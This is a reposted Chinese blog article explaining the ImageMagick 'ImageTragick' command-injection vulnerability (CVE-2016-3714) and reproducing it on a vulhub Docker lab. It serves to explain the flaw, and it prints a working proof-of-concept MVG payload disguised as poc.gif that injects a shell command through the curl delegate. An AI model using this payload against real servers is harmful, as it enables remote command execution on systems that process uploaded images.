0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

一款使用量很广的图片处理程序ImageMagick

Android编程精选 来源:小白学黑客 作者:小白哥 2022-08-16 10:18 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

大家好,我是小白哥。

这两天,关于QQ盗号的安全事件相信大家已经听说了。各种各样的传言都有,一会儿数据库泄露了,一会儿API漏洞了,一会儿又是协议漏洞了,还有的说扫描二维码中招的,一时间众说纷纭。

在众多说法中,我看到了一个:只要点击图片就会中招!

好家伙,点图片就能中招,这可厉害了,要是对方发来一些诱惑的图片,年轻人把持不住那可咋整?

真有那么悬乎吗?

这不禁让我想起了几年前的一个漏洞,也是图片相关的,分享给大家看看。

那次漏洞的主角,是ImageMagick。

漏洞介绍

漏洞名称:Imagemagick 命令注入漏洞(CVE-2016-3714)

漏洞定级:高危

漏洞描述:ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客可以在服务器上执行任意系统命令,获取服务器权限。

影响范围:ImageMagick 6.9.3-9本身及以前所有版本

漏洞原理

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站:https://imagetragick.com/

与这个漏洞相关的CVE有CVE-2016-3714CVE-2016-3715CVE-2016-3716CVE-2016-3717

其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的

参考代码:https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

我们在ImageMagick的默认配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml漏洞报告中给出的POC是利用了如下的这个委托:

"https"command=""curl"-s-k-o"%o""https:%M""/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

pushgraphic-context
viewbox00640480
fill‘url(https://"|id;")’
popgraphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞复现

  • 搭建靶机,教程:https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 下载vulhub:git clone https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 进入目录:cd /vulhub-master/imagemagick/imagetragick
  • 启动docker:docker-compose up -d 注意 我靶机 docker-compose.yml中端口为8888
6c4e0e0c-1cf7-11ed-ba43-dac502259ad0.png
  • 访问搭建的靶机ip:8888
6c62c91e-1cf7-11ed-ba43-dac502259ad0.png
  • 上传poc,新建一个txt文件,内容为:
pushgraphic-context
viewbox00640480
fill'url(https://"|id;")'
popgraphic-context

将文件保存为poc.gif

6c79b7a0-1cf7-11ed-ba43-dac502259ad0.png

上次poc.gif,点击提交,成功执行:

6c91dbf0-1cf7-11ed-ba43-dac502259ad0.png

这年头,除了链接,图片也不敢随便乱点了···

————————————————

漏洞原理和复现部分原文链接:https://blog.csdn.net/u011975363/article/details/118031227

审核编辑 :李倩


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 数据库
    +关注

    关注

    7

    文章

    3993

    浏览量

    67714
  • 漏洞
    +关注

    关注

    0

    文章

    205

    浏览量

    15888
  • 图片处理
    +关注

    关注

    0

    文章

    17

    浏览量

    7302

原文标题:看图片也能中招!

文章出处:【微信号:AndroidPush,微信公众号:Android编程精选】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    CWDAPLINK与J-link下载有什么区别?哪一款比较好?

    CWDAPLINK与J-link下载有什么区别?哪一款比较好?
    发表于 12-02 06:06

    请问芯源F030性能对标ST的哪一款

    芯源F030性能对标ST的哪一款
    发表于 11-14 07:15

    灵动微电子最新最火热的一款芯片推荐

    希望找一款灵动微电子最新最火热的一款芯片,我们想做个图形化的界面配置,供大家以后直接创建工程,用国产工具McuStudio做,McuStudio支持任何内核任何厂家的芯片,希望大家有推荐的型号可以发给我
    发表于 10-29 17:15

    HarmonyOS实战:招搞定保存图片到相册

    保存图片功能几乎是每个应用程序必备的功能之,当用户遇到喜欢的图片时可以保存到手机相册。那么在鸿蒙中保存图片是否也需要申请用户存储权限以及如
    的头像 发表于 06-24 17:04 976次阅读

    CodeBuddy 打造一款响应式图片画廊

    图片画廊页面来作为练手项目,目标很明确:要实现不等高的 Masonry 布局,点击图片能弹出大图预览,还要能通过键盘切换图片。理想状态下,它还应该支持无限滚动加载,并提供分类筛选功能。光想想就觉得挺麻烦的,但我决定用 Code
    的头像 发表于 05-11 13:33 483次阅读
    CodeBuddy 打造<b class='flag-5'>一款</b>响应式<b class='flag-5'>图片</b>画廊

    一款入耳式耳机的仿真与分析

    电子发烧友网站提供《一款入耳式耳机的仿真与分析.pdf》资料免费下载
    发表于 04-22 15:39 5次下载

    请问瑞芯微的soc芯片,有没有尺寸小于10mm*10mm的? 找一款小尺寸的soc用于视频处理

    请问瑞芯微的soc芯片,有没有尺寸小于10mm*10mm的? 找一款小尺寸的soc用于视频处理
    发表于 03-28 11:47

    STM32H753IIT6 一款32位微控制器MCU/MSP430F5325IPNR一款16位MCU

    高效数据处理和低功耗管理的各种嵌入式系统中也有广泛应用。 明佳达 STM32H753IIT6是一款基于高性能Arm Cortex-M7 32位RISC内核的微控制器,工作频率高达480 MHz‌。该内核
    发表于 02-21 14:59

    一款内置2个霍尔效应元件的霍尔速度方向传感器 - AH700

    霍尔传感芯片 - AH700是一款内置2个霍尔效应元件的速度方向传感器系列。每个元件提供个独立的数字信号输出用于速度和方向的信号处理
    的头像 发表于 02-13 09:51 844次阅读
    <b class='flag-5'>一款</b>内置2个霍尔效应元件的霍尔速度方向传感器 - AH700

    Spire.Cloud.Word云端Word文档处理SDK介绍

    Spire.Cloud.Word 是一款专业的云端 Word 文档处理 SDK,开发人员使用它在云端创建、读取、编辑、转换和保存 Word 文档。作为一款完全独立的组件,运行环境无需安装
    的头像 发表于 02-11 11:11 771次阅读
    Spire.Cloud.Word云端Word文档<b class='flag-5'>处理</b>SDK介绍

    有没有一款FIFO可以与ADC08200通信?

    ADC08200可工作在10M~230MHZ之间的频率, 请问TI有没有一款FIFO可以与ADC08200通信?好像最高速率的也只有166MHZ??
    发表于 02-08 08:37

    推荐一款三相三线制电源模组

    使用场景:有一款工业应用场景的设备,设备现场只有三相电源,无零线。 需求:推荐一款电源模组(优先国产),输入电源是三相电中的两相L1\\\\L2或者L2\\\\L3或者L1\\\\L3或者是三项全输
    发表于 02-05 11:22

    请推荐一款给ads1211提供AVDD与DVDD电源的芯片?

    你好,请推荐一款给ads1211 提供AVDD与DVDD电源的芯片,谢谢!
    发表于 01-24 06:46

    使用Python+OpenCV处理图片

    如果给你图片作为背景,另外图片中的物体作为前景图,要把前景图中的物体叠加布置到背景图的中间位置,并且前景图中的物体需要在背景图中有旋转和投影,怎么
    的头像 发表于 12-23 15:54 1197次阅读

    求推荐一款处理24V的差分编码器信号的芯片

    你好,我们先前用的是SN65LBC175AD处理5V的差分编码器信号,现在编码器换成24V的,希望能推荐一款处理24V的差分编码器信号的芯片,谢谢!
    发表于 12-18 06:52